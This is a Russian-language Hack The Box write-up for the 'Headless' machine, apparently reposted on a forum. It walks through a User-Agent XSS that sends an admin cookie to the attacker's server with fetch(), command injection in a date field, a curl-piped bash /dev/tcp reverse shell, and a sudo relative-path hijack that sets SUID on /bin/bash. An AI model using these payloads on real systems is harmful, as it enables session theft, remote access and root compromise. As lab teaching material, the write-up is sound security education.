Статья Повышаем привилегии через захват скрипта

[stihl]

Сегодня я покажу процесс эксплуатации XSS в механизме логирования атак. Получив возможность инъекции команд, мы сможем развить атаку на сервер. В конце повысим привилегии, перехватив управление у пользовательского скрипта.
Наша цель — получение прав суперпользователя на машине Headless с учебной площадки Hack The Box. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​

Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.8 headless.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел два открытых порта:

• 22 — служба OpenSSH 9.2p1;
• 5000 — веб‑сервер Werkzeug 2.2.2.

Так как с SSH ничего не сделать, перейдем к порту 5000. Судя по выводу сканера портов, там работает веб‑приложение.

Главная страница сайта
Осмотримся на сайте.

Точка входа​

На сайте ничего интересного найти не удалось, поэтому приступаем к сканированию.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:

• -u — URL;
• -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
• -t — количество потоков;
• -d — глубина сканирования.

Задаем все параметры и запускаем перебор:

feroxbuster -u '[URL]http://10.10.11.8:5000/[/URL]' -w directory_2.3_medium.txt -t 256 -d 1

Результат сканирования каталогов с помощью feroxbuster

На сайте находим всего две страницы: support и dashboard. Вторая вернет код 500 — видимо, доступ ограничен. А вот первая страница содержит веб‑форму.

Для просмотра ссылки Войди или Зарегистрируйся
Так как это форма связи с поддержкой, значит, отправленное сообщение кто‑то будет читать. В таком случае необходимо проверить, нет ли тут уязвимости XSS. Запустим на локальной машине веб‑сервер:

python3 -m http.server
И отправим в форме следующую нагрузку, которая попытается загрузить картинку с нашего сервера.

<img src="[URL]http://10.10.14.110/test_xss[/URL]"/>

Форма связи с поддержкой

Но запрос на наш сервер не пришел, а на странице появилось сообщение, что обнаружена атака.

Сообщение о детекте

Используются какие‑то фильтры, а это уже интересно.

Точка опоры​

Можно потратить время на попытки обойти фильтрацию, если это возможно, а можно обратить внимание на сообщение с отображением запроса. В нем явно выводится заголовок User-Agent, что и будем использовать, передав нагрузку в самом заголовке.

User-Agent: <img src="[URL]http://10.10.14.110/user_agent_xss[/URL]"/>

Запрос на сервер

Таким образом, когда фильтр не пропустит, обнаружив нашу нагрузку, он отправит информацию о запросе администратору, а это приведет к выполнению нагрузки из заголовка User-Agent. При этом на своем веб‑сервере можно найти обращение от нагрузки.

Логи веб‑сервера

Существование XSS подтверждено, теперь переходим к эксплуатации уязвимости. С помощью базовой нагрузки с document.cookie попробуем эксфильтровать cookie пользователя.

User-Agent: <img src=x onerror=fetch('[URL='http://10.10.14.110/?cookie=%27+document.cookie);']http://10.10.14.110/?cookie='+document.cookie);[/URL]>

Запрос на сервер

Логи веб‑сервера

И на наш веб‑сервер приходит запрос, где в параметре cookie получаем сессионный идентификатор пользователя. Перейдем в настройки Chrome и в разделе Application → Storage → Cookies изменим имеющееся значение на полученное.

Хранилище браузера Chrome

Вспомним про страницу /dashboard, доступ к которой был закрыт. Переходим на нее после применения cookie и получаем форму для создания отчетов на определенную дату.

Форма создания отчетов

Продвижение​

В качестве теста просто сгенерируем отчет. На странице отобразится соответствующее сообщение, и одновременно с этим начнется загрузка файла.

Результат генерирования отчета

Так как мы постоянно работаем через Burp Proxy, перейдем в Burp History и проанализируем запрос на генерацию отчета.

Burp History

В качестве данных передается только дата в параметре date. Так как для генерации отчета может использоваться сторонняя утилита, а ее запуск происходит через командную оболочку, стоит проверить наличие уязвимости OS Command Injection. Комбинацией клавиш Ctrl-R и Ctrl-Shift-R перенаправим запрос в Burp Repeater. Затем после даты используем символ ; для отделения команды и добавим свою тестовую команду — id.

Запрос на сервер

На этот раз в сообщении о том, что отчет составлен, присутствует и вывод команды id, а значит, сервис уязвим. Запустим листенер.

pwncat-cs -lp 4321
И попробуем выполнить реверс‑шелл. Просто запустить его через Responder не вышло, но можно сохранить на своем веб‑сервере файл, содержащий реверс‑шелл:

bash -c '/bin/bash -i >& /dev/tcp/10.10.14.110/4321 0>&1
А в нагрузке на удаленной машине скачать его через curl и выполнить.

;curl 10.10.14.110/r.sh|bash

Логи веб‑сервера

Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Смотрим, что интересного нашел скрипт.

В настройках sudoers прописан запуск файла /usr/bin/syscheck от имени root без использования пароля.

Для просмотра ссылки Войди или Зарегистрируйся
Прописанный в sudoers файл добавлен пользователем.

Исполняемые файлы, добавленные пользователем
Найденный файл представляет собой скрипт на Bash.

Проверка файла

Содержимое файла syscheck

Тут происходит запуск другого скрипта — initdb.sh. При этом указан не полный путь к скрипту, а относительный: ./. Таким образом, можно перейти в каталог с правом на запись, создать в нем скрипт initdb.sh, тогда выполнение syscheck из этого каталога с правами root приведет к выполнению initdb.sh также с правами root. В скрипте initdb.sh будем присваивать S-бит файлу командной оболочки /bin/bash.

echo 'chmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck

Эксплуатация уязвимости

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Запускаем /bin/bash от имени рута и читаем последний флаг.

Флаг рута

Машина захвачена!